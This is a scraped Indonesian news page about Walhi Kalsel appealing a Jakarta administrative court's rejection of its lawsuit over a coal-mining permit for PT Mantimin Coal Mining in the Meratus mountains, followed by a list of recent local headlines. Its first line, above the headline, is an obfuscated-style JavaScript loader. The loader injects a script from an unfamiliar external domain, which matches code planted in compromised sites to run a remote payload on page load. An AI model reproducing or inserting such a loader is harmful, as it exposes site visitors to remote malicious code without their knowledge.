(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ada ‘Bau Amis’ Ditolaknya Gugatan Walhi Terkait #SaveMeratus?


BANJARBARU, Wahana Lingkungan Hidup (Walhi) Kalsel terus memperjuangkan penyelamatan kawasan pegunungan Meratus dari korporasi tambang melalui jalur hukum. Setelah gugatan kandas di PTUN Jakarta Timur, Walhi Kalsel langsung melakukan upaya hukum banding ke PT TUN terhadap putusan PTUN Jakarta Timur tersebut.

Direktur Eksekutif Walhi Kalsel Kisworo Dwi Cahyono mengungkapkan, alasan pengajuan upaya hukum banding karena Indonesia adalah negara hukum. Kemudian karena putusan PTUN adalah tak dapat diterima atau niet ontvankelijke verklaard (NO), maka artinya berkas gugatan sebenarnya belum masuk atau belum diperiksa oleh majelis hakim. Maka pihaknya melakukan banding dan masih menunggu putusan banding sebelum melakukan upaya lainnya.

“Kami (mengajukan upaya hukum, red) banding. Adanya eksaminasi putusan hakim yang diselenggarakan hari ini tujuannya kita ingin mendapat analisa kritis dari pakar hukum diluar pengadilan. Bahwa para pakar mengatakan bahwa berarti substansi kasus atau gugatan belum masuk (belum diperiksa hakim, red) dan memang harus ditempuh ke jalur hukum,” jelas Kisworo kepada wartawan disela Dialog Eksaminasi Putusan PTUN Jakarta No 47/G/LH/2018/PTUN-JK, sengketa antara Walhi Kalsel melawan Menteri ESDM dan PT MCM, Selasa (11/12) siang, di meeting room hotel Montana Banjarbaru.

Dialog menghadirkan narasumber yakni Prof Hadin Muhjad, DR Masdari Tasmin dan DR Nurul. Tiga akademisi bidang hukum itu diminta pendapat dan analisis terhadap gugatan Walhi dan putusan PTUN Jakarta Timur.
Dalam analisis tersebut, para pakar hukum menilai bahwa adanya hal yang janggal dalam putusan majelis hakim PTUN tersebut. Selain itu dijelaskan juga putusan tersebut memang belum memasuki substansi kasus.
“Saya mencium ‘bau amis dalam putusan hakim tersebut sampai diputuskan NO,” ungkap Prof Hadin Muhjad, salah satu dosen Univeristas Lambung Mangkurat.

Prof Hadin Muhjad juga menyarankan dalam mengajukan banding, Walhi Kalsel juga harus melaporkan kasus ini ke Komisi Yudisial (KY). Tujuannya agar KY turut mengawasi hakim dalam bersidang dan agar hakim lebih fokus dalam memberikan keadilan.

Walaupun terus dikecewakan di peradilan saat ini, Walhi yang terus menerus menempuh jalur hukum masih mendorong terbentuknya peradilan khusus untuk pengadilan lingkungan. Hal ini disebabkan karena peradilan umum selalu tidak menjawab permasalahan kejahatan di sektor lingkungan dan pengelolaan carut marut pengelolaan sumber daya alam.

Dialog juga turut menghadirkan sejumlah dinas-dinas terkait, seperti Dinas ESDM Provinsi Kalsel, Dinas Lingkugan Hidup HST dan Dinas Kehutanan Provinsi Kalsel. Kehadiran para perwakilan dinas ini untuk menerangkan seperti apa dan proses izin yang dikeluarkan dalam pengoperasian tambang. Bahkan sampai sekarang, sejumlah dinas terkait ini menyatakan sama sekali tidak pernah mengeluarkan izin untuk pengoperasian tambang di pegunungan Meratus di HST baik itu Izin Pinjam Pakai Kawasan Hutan (IPPKH) dan Amdal.

Saat ini, Walhi masih menunggu hasil banding yang diajukan ke PT TUN Jakarta. Belum diketahui apakah dokumen banding tersebut telah naik atau masih berada di PTUN.

Seperti diketahui, Walhi Kalsel menggugat SK (Surat Keputusan) Menteri ESDM ke PTUN Jakarta .SK menteri itu terkait pemberian izin untuk PT Mantimin Coal Mining (MCM) untuk melakukan penambangan batu bara di Kabupaten Balangan, Tabalong, dan Hulu Sungai Tengah.

Pegunungan Meratus memang sangat dipertahankan oleh banyak masyarakat Kalsel khususnya para pecinta lingkungan. Penolakan tambang ini sangat dicekal karena Meratus merupakan rimba terakhir dan  hulu dari sungai-sungai di Kalsel. Selain itu disana juga ada suku Dayak Meratus dan pegunungan yang merupakan paru paru dunia.

Setelah beberapa kali sidang, majelis Hakim Pengadilan Tata Usaha Negara (PTUN) Jakarta timur memutuskan gugatan Walhi Kalimantan Selatan kepada Menteri Energi Sumber Daya Mineral (ESDM) soal izin pertambangan PT Mantimin Coal Mining (MCM), tak dapat diterima, atau niet ontvankelijke verklaard (NO). Putusan tak dapat diterima dengan alasan gugatan mengandung cacat formil. Gugatan yang sudah masuk sekitar 8 bulan itu tidak ditindaklanjuti hakim untuk diperiksa dan diadili. (rico)

Reporter: Rico
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

14 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

15 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

15 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

21 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

21 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.